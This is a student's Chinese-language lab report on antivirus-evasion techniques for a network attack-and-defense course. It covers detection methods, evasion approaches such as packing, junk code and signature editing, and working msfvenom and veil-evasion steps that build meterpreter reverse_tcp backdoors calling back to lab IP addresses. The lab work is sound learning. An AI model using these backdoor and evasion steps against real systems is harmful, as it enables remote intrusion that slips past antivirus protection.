20169219《网络攻防》免杀技术学习总结
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
1:基于特征码
一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。
2: 启发式恶意软件检测
根据些片面特征去推断。其可以检测0-day恶意软件,具有一定通用性;但是其实时监控系统行为,开销稍多,没有基于特征码的精确度高。
3:基于行为的恶意软件检测
从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
免杀即使用不同方法使得恶意程序不被杀软和防火墙发觉。
(3)免杀的基本方法有哪些?
1、加壳脱壳与加密解密
利用特殊的算法,对可执行文件与动态库里的资源进行压缩与对文件的描述、版本号、创建日期、修改软件、系统执行需求等外层数据进行伪装。
2、加花指令与程序入口点修改
加花指令就是在程序开头加入一段计算用的汇编指令和一些入口点内存地址的乱跳转,或加上其他常用程序特有的入口指令来迷惑杀毒软件。因为计算与跳转的最后结果是没有实质的意义的,所以这么做并不影响程序的正常运行。但能使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。
程序入口点修改就是改变入口点,通常用到的方法是在入口点的地址加1或把入口点地址拆开,也有加花指令之后把原入口点修改到花指令的入口点上令电脑先处理那段没意义的指令,再在花指令后再加跳转代码,跳转到程序执行数据的入口点上,令程序正常运行。
3、内存、文件特征码的定位与修改
首先用特征码定位软件定位文件特征码的所在之处,再用UltraEdit对被定位的特征码段进行修改。
一般修改方法有:
十六进制的特征码直接修改法,就是把十六进制的特征码加1;
字符串大小写修改法,就是特征码所对应的内容是字符串的时候,把大小字互换;
等价替换法,就是当特征码所对应的是汇编指令时,把指令替换成功能类拟的指令;
指令顺序调换法,把特征码对应的汇编指令的顺序互换;
通用跳转法,用跳转的方法把特征码对应的汇编指令跳转走,犹如加花一样。
4、集成在盗版软件中,诱使使用者使用时关闭杀软防火墙。
实践内容:
(1)理解免杀技术原理
(2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
二、使用msf编码器直接生成一个后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.113 LPORT=5329 -f exe > 19met-encoded.exe
对生成的文件用virscan进行检测,结果如下
三、使用veil-evasion
首先要先安装veil-evasion
使用如下命令进行安装
apt-get update
apt-get install veil-evasion
安装完成之后,直接输入veil-evasion
进入程序
接下来逐步输入如下命令,生成11111.exe
use
c/meterpreter/rev_tcp
set LHOST 172.16.69.116
generate
11111
1
对生成的11111.exe文件在http://www.virscan.org/进行检测
还是不能免杀成功
四、shellcode编程
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.116 LPORT=443 -f c
生成一个c格式的十六进制数组
编写程序生成.exe文件,并扫描
实验总结与体会
实现真正的免杀还是有一定困难的,及时实现免杀,如何将恶意代码植入用户的使用程序还是很困难的问题。
一种新的病毒出现,杀毒软件真正发挥作用还是有一段时间的,肯定会有用户程序被病毒感染,所以要提高自己的安全意识;
离实战还缺些什么技术或步骤?
操作过程中只能按照教程一步一步来,自己对免杀实际的作用方法理解还不透彻,编程能力还不够。